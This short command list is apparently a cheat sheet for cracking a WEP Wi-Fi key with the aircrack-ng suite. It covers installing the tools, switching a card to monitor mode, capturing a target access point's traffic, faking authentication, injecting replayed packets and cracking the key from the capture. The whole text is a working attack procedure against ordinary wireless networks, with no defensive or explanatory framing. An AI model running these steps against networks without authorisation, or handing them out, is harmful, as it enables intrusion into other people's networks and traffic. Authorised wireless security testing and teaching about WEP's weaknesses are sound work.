apt-get install aircrack-ng #install aircrack-ng.
airmon-ng start wlan0 #Switch wireless card to monitor mode.
airodump-ng mon0 #List wireless AP.
airodump-ng -c [channel] --bssid [mac address of AP] -w [filename] mon0 #catch wireless packets
**aireplay-ng -1 0 -a [mac address of AP] -h [mac address of Host] mon0 #create virtual connection between wireless AP
aireplay-ng -2 -F -p 0841 -c ff:ff:ff:ff:ff:ff -b [mac address of AP] -h [mac address of Host] mon0 #Sent packets to AP
aircrack-ng [filename].cap #crack wep key.